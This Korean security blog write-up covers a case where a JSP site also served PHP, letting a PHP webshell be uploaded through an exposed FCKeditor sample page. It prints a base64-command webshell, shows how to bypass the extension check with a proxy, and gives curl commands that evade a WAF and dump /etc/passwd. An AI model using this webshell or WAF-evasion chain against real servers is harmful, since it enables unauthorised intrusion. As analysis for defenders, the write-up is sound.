홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#FCKeditor #웹에디터 #JSP/PHP 혼용 #웹방화벽 우회 #확장자검증 우회 #웹쉘 #PHP 웹쉘 #base64 #curl #Base64 인코딩 #/etc/passwd #A1-Injection #A5-Security Misconfiguration

JSP/PHP를 혼용하는 JSP 웹 어플리케이션의 확장자 우회 사례

JSP로 개발된 누리집에서 발견된 특이 사례를 소개하고자 한다. Server: 헤더는 Apache/2.2.3 (Red Hat)이다. 404 오류 페이지에서 Apache Tomcat/6.0.29가 운영중인 것이 발견되었다.

이 웹서버의 80 포트에서는 Apache Tomcat 상에서 JSP 홈페이지를 서비스 중이다. Nmap 스캔에서 443 포트 접속이 가능하여 nikto로 스캔했더니 /test.php에서 phpinfo() 결과를 출력하였다. 여기서 Apache 웹서버의 mod_php5 모듈이 활성화되어 있다는 것을 알 수 있었다. 다음은 nikto가 443 포트(HTTPS)에서 test.php를 탐지한 항목이다.

+ GET /test.php?%3CSCRIPT%3Ealert('Vulnerable')%3C%2FSCRIPT%3E=x: Output from the phpinfo() function was found.

80 포트에 대한 nikto 스캔 결과에서는 FCKeditor가 발견되었다.

+ OSVDB-3093: /fckeditor/editor/dialog/fck_image.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /fckeditor/editor/filemanager/browser/default/connectors/test.html: FCKeditor could allow files to be updated or edited by remote attackers.

Google에서 index of fckeditor검색하였다. 디렉토리 나열 기능이 활성화된 FCKeditor 디렉토리들을 볼 수 있다. FCKeditor 디렉토리를 열람해보니 _samples 디렉토리가 있는 것을 알 수 있다.

root@kali:~# lynx http://www.cowex.ca/fckeditor/
                                                   Index of /fckeditor (p1 of 2)
                              Index of /fckeditor

 Icon   Name                    Last modified      Size  Description
  ___________________________________________________________________________
 [DIR]  Parent Directory                             -
 [   ]  Thumbs.db               04-Mar-2011 08:58   43K
 [TXT]  _documentation.html     04-Mar-2011 08:58  1.2K
 [DIR]  _samples/               04-Mar-2011 08:59    -
 [TXT]  _upgrade.html           04-Mar-2011 08:58  1.2K
 [TXT]  _whatsnew.html          04-Mar-2011 08:58  2.7K
 [TXT]  _whatsnew_history.html  04-Mar-2011 08:59  252K
 [DIR]  editor/                 04-Mar-2011 08:58    -
 [   ]  fckconfig.js            12-Mar-2011 12:49   12K
 [   ]  fckeditor.afp           12-Mar-2011 12:49  4.2K
 [   ]  fckeditor.asp           12-Mar-2011 12:49  6.2K
 [   ]  fckeditor.cfc           04-Mar-2011 08:57  8.8K
 [   ]  fckeditor.cfm           04-Mar-2011 08:58  6.8K
 [   ]  fckeditor.js            04-Mar-2011 08:58  8.5K
 [   ]  fckeditor.lasso         04-Mar-2011 08:58  3.9K
 [TXT]  fckeditor.php           04-Mar-2011 08:58  1.9K
-- press space for next page --
  Arrow keys: Up and Down to move.  Right to follow a link; Left to go back.
 H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list 

위에서는 텍스트 기반 웹 브라우저인 lynx로 FCKeditor 디렉토리 열람이 가능한 사이트에 접속한 모습이다.

root@kali:~# http://www.cowex.ca/fckeditor/_samples/
                                          Index of /fckeditor/_samples (p1 of 2)
                          Index of /fckeditor/_samples

 Icon   Name                    Last modified      Size  Description
  ___________________________________________________________________________
 [DIR]  Parent Directory                             -
 [DIR]  _plugins/               04-Mar-2011 08:59    -
 [DIR]  afp/                    04-Mar-2011 08:59    -
 [DIR]  asp/                    04-Mar-2011 08:59    -
 [DIR]  cfm/                    04-Mar-2011 08:59    -
 [TXT]  default.html            04-Mar-2011 08:59  1.1K
 [DIR]  html/                   04-Mar-2011 08:59    -
 [DIR]  lasso/                  04-Mar-2011 08:59    -
 [DIR]  perl/                   04-Mar-2011 08:59    -
 [DIR]  php/                    04-Mar-2011 08:59    -
 [DIR]  py/                     04-Mar-2011 08:59    -
 [TXT]  sample.css              04-Mar-2011 08:59  1.0K
 [TXT]  sampleslist.html        04-Mar-2011 08:59  5.4K
  ___________________________________________________________________________


-- press space for next page --
  Arrow keys: Up and Down to move.  Right to follow a link; Left to go back.
 H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list 
root@kali:~#

FCKeditor의 /_samples/를 열람했을 때 default.html 파일이 존재하는 것을 알 수 있다. 이러한 정보로부터 분석 대상 누리집(가칭 www.victim.site.kr)에 있을 것으로 추정되는 FCKeditor의 예제 페이지를 접속해보았다.

JSP FCKeditor sample page
[ FCKeditor 예제 페이지 접근 화면 ]

http://www.victim.site.kr/fckeditor/_samples/default.html이 존재하였다. 그리고 시험을 통해 이미지와 플래쉬(SWF) 파일 업로드를 지원하는 것을 알 수 있었다. 다양한 점검을 진행한 결과, 다음과 같은 현상을 발견하였다.

  • 파일 업로드 기능은 /include/file_upload.jsp가 담당하고 있음
  • jsp 확장자 업로드는 JSP에서는 막지 않고 별도의 방어시스템에서 차단(아마도 WAF)
  • 이미지(예: jpg)는 이름을 바꾸고 확장자를 덧붙여서 서버에 저장
  • 이미지 이외의 확장자는 원본 파일과 동일한 이름으로 저장
    • jspx, php3, phtml 등의 확장자로 업로드한 파일은 평문파일로 열람
    • php 확장자 파일은 웹으로 접근시 PHP 코드를 실행
    • PHP 파일을 이용하여 운영체제 명령어를 실행을 시도했을 때 다수의 명령어 실행이 별도의 장비(아마도 WAF)에 의해서 차단되는 것을 관찰함
    • 업로드한 파일을 원본 파일명으로 저장하므로 널문자삽입(%00삽입)을 시도하였으나 %00이 그대로 파일이름에 포함되어 저장됨

웹 서버가 Apache Tomcat 기반의 JSP 누리집이지만 PHP도 동시에 지원하였다. 이 때문에 PHP 웹쉘 업로드가 가능하였다. 하지만 일반적인 PHP 웹쉘에서 cat /etc/passwd 등과 같은 주요 운영체제 명령어를 시도하면 웹방화벽에서 입력을 차단하였다.

웹방화벽(WAF)을 우회하기 위해서 명령어를 Base64로 인코딩하여 보내는 PHP 웹쉘을 작성하였다.

root@kali:~# cat base64cmd.php.jpg
<?php $_REQUEST[1](base64_decode($_REQUEST[2])) ?>
root@kali:~#

위의 base64cmd.php.jpg는 GET/POST 모두에서 URL 매개변수 12를 받는다. 1에는 system, passthru 같은 명령어를 입력한다. 그리고 2에는 운영체제 명령어를 base64로 인코딩하여 전달하면 웹쉘이 명령어 실행결과를 출력한다.

JSP FCKeditor sample page image upload
[ FCKeditor 예제 페이지에서 이미지 업로드 시도 ]

FCKeditor의 예제 페이지에서 base64cmd.php.jpg는 확장자가 jpg이므로 FCKeditor의 웹 인터페이스는 이미지로 인식한다. 자바스크립트에서 확장자를 검증할 때는 원하는 입력값을 전달하는 것이 좋다 (우회는 HTTP Proxy에서 한다).

JSP FCKeditor image upload, extension change in zap proxy
[ FCKeditor 예제 페이지에서 업로드하는 이미지 파일의 확장자 변경 ]

웹에서 전달받은 HTTP 요청을 OWASP ZAP의 HTTP 프록시 기능을 이용하여 php 확장자로 복원한다. FCKeditor의 웹 인터페이스에 장착된 확장자 검증 기능을 이렇게 우회할 수 있다.

PHP 웹쉘의 경로는 curl http://www.victim.site.kr/upload/fck_img/base64cmd.php였다. 몇 가지 사용 사례와 그 결과를 살펴보자.

  • 입력: 1=system&2=aWQK
    과정: system(base64_decode('aWOK'))
    최종: system('id')
  • 입력: 1=system&2=dW5hbWUgLWEK
    과정: system(base64_decode('dW5hbWUgLWEK'))
    최종: system('uname -a')
  • 입력: 1=passthru&2=Y2F0IC9ldGMvcGFzc3dkCg==
    과정: passthru(base64_decode('Y2F0IC9ldGMvcGFzc3dkCg=='))
    최종: passthru('cat /etc/passwd')

해커들은 주로 POST 방식을 사용한다. POST로 전달되는 값을 검사하는 것이 비효율적이기 때문에 웹방화벽은 GET 입력만을 검사하는 경우도 많기 때문이다. 또한 웹 서버의 접속 로그에 POST 입력값은 기록되지 않기 때문에 정확한 공격작업이 파악되는 것을 지연시킬 수 있다.

이제 POST 방식으로 base64cmd.php를 이용하여 다양한 운영체제 명령어를 실행해도 웹방화벽이 차단하지 못한다. 다음은 curlbase64 명령어를 이용하여 base64cmd/php를 POST 방식으로 접속한 결과들이다.

root@kali:~# curl http://www.victim.site.kr/upload/fck_img/base64cmd.php --data "1=system&2=`base64<<<id`"
uid=48(apache) gid=48(apache) groups=48(apache)
root@kali:~# curl http://www.victim.site.kr/upload/fck_img/base64cmd.php --data "1=system&2=`base64<<<'uname -a'`"
Linux www.victim.site.kr 2.6.18-348.12.1.el5 #1 SMP Mon Jul 1 17:54:12 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux
root@kali:~# curl http://www.victim.site.kr/upload/fck_img/base64cmd.php --data "1=system&2=`base64<<<'cat /etc/passwd'`"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
tomcat:x:91:91:Tomcat:/usr/share/tomcat5:/bin/sh
trans2:x:500:500: Staff Lee:/conf/trans2:/bin/bash
root@kali:~#

PHP는 uid=48(apache) gid=48(apache) groups=48(apache) 권한이다. 일반 사용자 권한으로 시스템 침투에 성공한 것이다. 이것만으로도 "IP주소 세탁", "DDoS용 좀비 서버" 등 다양한 용도로 악용이 가능하다.

root@kali:~# curl http://www.victim.site.kr/upload/fck_img/base64cmd.php --data "1=system&2=`base64<<<'ls -als base64cmd.php'`"
4 -rw-r--r-- 1 root root 51 Dec 19 16:40 base64cmd.php
root@kali:~#

업로드한 PHP 웹쉘의 소유자가 root이다. 이는 root 권한의 Apache Tomcat이 운영중이라는 것을 의미한다. 이 때문에 웹 서비스를 위해 만들어진 파일이나 디렉토리가 거의 모두 root 권한이다. PHP는 uid=48(apache) gid=48(apache) groups=48(apache) 권한이다. 다행스럽게도 777(rwxrwxrwx) 권한의 디렉토리가 존재하지 않아서 - 권한이 낮기 때문에 - PHP 웹쉘을 이용한 JSP 파일 생성이 불가능하였다.

다만 이 누리집은 root 권한으로 Apache Tomcat을 운영중이므로 JSP 파일을 생성할 수 있는 다른 방법을 찾게 되면 곧바로 시스템 장악으로 이어지기 때문에 매우 위험한 상황이다.

[처음 작성한 날: 2016.12.19]    [마지막으로 고친 날: 2016.12.19] 


< 이전 글 : FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (2016.12.20)

> 다음 글 : HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (2016.12.14)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문
 __
( 자신이 컴퓨터를 싫어한다고 생각하는  )
( 사람들을 보면, 사실은 형편없는  )
( 프로그래머를 싫어하는 것이다.  )
(  )
( - 래리 니븐, 미국 SF 작가  )
 --
                       o                    ^    /^
                        o                  / \  // \
                         o   |\___/|      /   \//  .\
                          o  /O  O  \__  /    //  | \ \           *----*
                            /     /  \/_/    //   |  \  \          \   |
                            @___@`    \/_   //    |   \   \         \/\ \
                           0/0/|       \/_ //     |    \    \         \  \
                       0/0/0/0/|        \///      |     \     \       |  |
                    0/0/0/0/0/_|_ /   (  //       |      \     _\     |  /
                 0/0/0/0/0/0/`/,_ _ _/  ) ; -.    |    _ _\.-~       /   /
                             ,-}        _      *-.|.-~-.           .~    ~
            \     \__/        `/\      /                 ~-. _ .-~      /
             \____(oo)           *.   }            {                   /
             (    (--)          .----~-.\        \-`                 .~
             //__\\  \__ Ack!   ///.----..<        \             _ -~
            //    \\               ///-._ _ _ _ _ _ _{^ - - - - ~
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .